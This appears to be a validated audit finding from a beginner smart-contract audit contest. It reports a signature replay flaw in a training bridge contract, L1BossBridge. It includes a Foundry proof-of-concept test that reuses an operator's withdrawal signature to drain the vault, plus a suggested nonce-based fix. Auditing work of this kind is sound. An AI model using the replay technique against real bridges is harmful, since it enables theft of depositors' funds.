Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

`L1BossBridge::sendToL1` function signature replay vulnerability leads to unauthorized repeated transactions

Summary

L1BossBridge::sendToL1 function should check if the signature has been used before to prevent a signature replay attack. A user can use the same sigature to withdraw multiple times and drain the token balance of L1 vault.

Vulnerability Details

Overview:

The sendToL1 function lacks signature validation, allowing a user that got a withdrawal request approved by a bridge operator use the signature multiple times to repeat the withdrawal.

Actors:

  • Attacker: A user that deposited tokens to L2 and got a withdrawal request approved by a bridge operator. The user will use the same signature to repeat the withdrawal multiple times, potentially draining the protocol.

  • Victim: A user that deposits tokens to L2. The victim tokens will be stolen by the attacker withdrawing multiple times with the same signature.

  • Protocol: Boss Bridge protocol. L1BossBridge::sendToL1 function lacks signature validation, and any user with an approved withdrawal request can repeat the withdrawal multiple times.

Working Test Case:

Test Signature Replay Attack
  1. Copy paste the testSignatureReplay() function into L1TokenBridge.t.sol::L1BossBridgeTest

  2. Run forge test --mt testSignatureReplay -vv in the terminal

function testSignatureReplay() public {
console2.log("///////////////////// SETUP ////////////////////////");
address attacker = makeAddr("attacker");
address attackerInL2 = makeAddr("attackerInL2");
vm.prank(deployer);
token.transfer(address(attacker), 1e18); // Give the attacker some tokens
// Start a deposit as the 'attacker'
vm.startPrank(attacker);
uint256 depositAmount = 1e18;
uint256 attackerInitialBalance = token.balanceOf(address(attacker));
console2.log("Attacker initial balance:", attackerInitialBalance);
console2.log("Vault initial balance:", token.balanceOf(address(vault)));
// Attacker approves the bridge contract to spend their tokens
token.approve(address(tokenBridge), depositAmount);
// Attacker deposits tokens to L2 through the bridge
tokenBridge.depositTokensToL2(attacker, attackerInL2, depositAmount);
// Log balances after deposit
console2.log("Vault balance after attacker deposit:", token.balanceOf(address(vault)));
console2.log("Attacker balance after deposit:", token.balanceOf(address(attacker)));
// The bridge operators signs a withdrawal request from the attacker
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, depositAmount), operator.key);
// Attacker withdraws tokens to L1 using the signed message
tokenBridge.withdrawTokensToL1(attacker, depositAmount, v, r, s);
// The attacker withdraws the first time successfully
console2.log("Attacker balance after first withdrawal:", token.balanceOf(address(attacker)));
console2.log("Vault balance after attacker first withdrawal:", token.balanceOf(address(vault)));
vm.stopPrank();
console2.log("/////////////////// ATTACK SCENARIO /////////////////////");
// Simulate a deposit from another user ('victim')
address victim = makeAddr("victim");
address victimInL2 = makeAddr("victimInL2");
vm.prank(deployer);
token.transfer(address(victim), 1e18); // Give the victim some tokens
vm.startPrank(victim);
console2.log("Victim initial balance:", token.balanceOf(address(victim)));
// Victim approves and deposits tokens to L2
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(victim, victimInL2, depositAmount);
console2.log("Vault balance after victim deposit:", token.balanceOf(address(vault)));
vm.stopPrank();
// Replay the signature: Attacker (original user) withdraws again using the same signature
vm.startPrank(attacker);
tokenBridge.withdrawTokensToL1(attacker, depositAmount, v, r, s);
// The vault balance is now zero. The attacker sucessfully withdrew again, and he can do it as many times as he wants.
console2.log("Final vault balance after the attacker executes the signature replay and withdraws again:", token.balanceOf(address(vault)));
console2.log("Final attacker balance after executing the signature replay:", token.balanceOf(address(attacker)));
}

Impact

The deposited tokens are drained from the L1 vault.

Tools Used

Manual Review

Recommendations

Consider using a nonce value and a mapping to register executed transactions.

  1. Add a mapping to register the executed transactions.

+ mapping(bytes32 => bool) public executed;
  1. Add a nonce to the withdrawTokensToL1() function parameters.

- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
- abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
+ abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount)),
+ nonce
  1. Change sendToL1() function visibility to internal and check if the message has been executed.

- function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
+ function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) internal nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
- (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
+ if (executed[bytes32(message)]) {
+ revert("L1BossBridge::sendToL1: ALREADY_EXECUTED");
+ }
+
+ (address target, uint256 value, bytes memory data, /*uint256 nonce*/) = abi.decode(message, (address, uint256, bytes, uint256));
+
+ executed[bytes32(message)] = true;
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.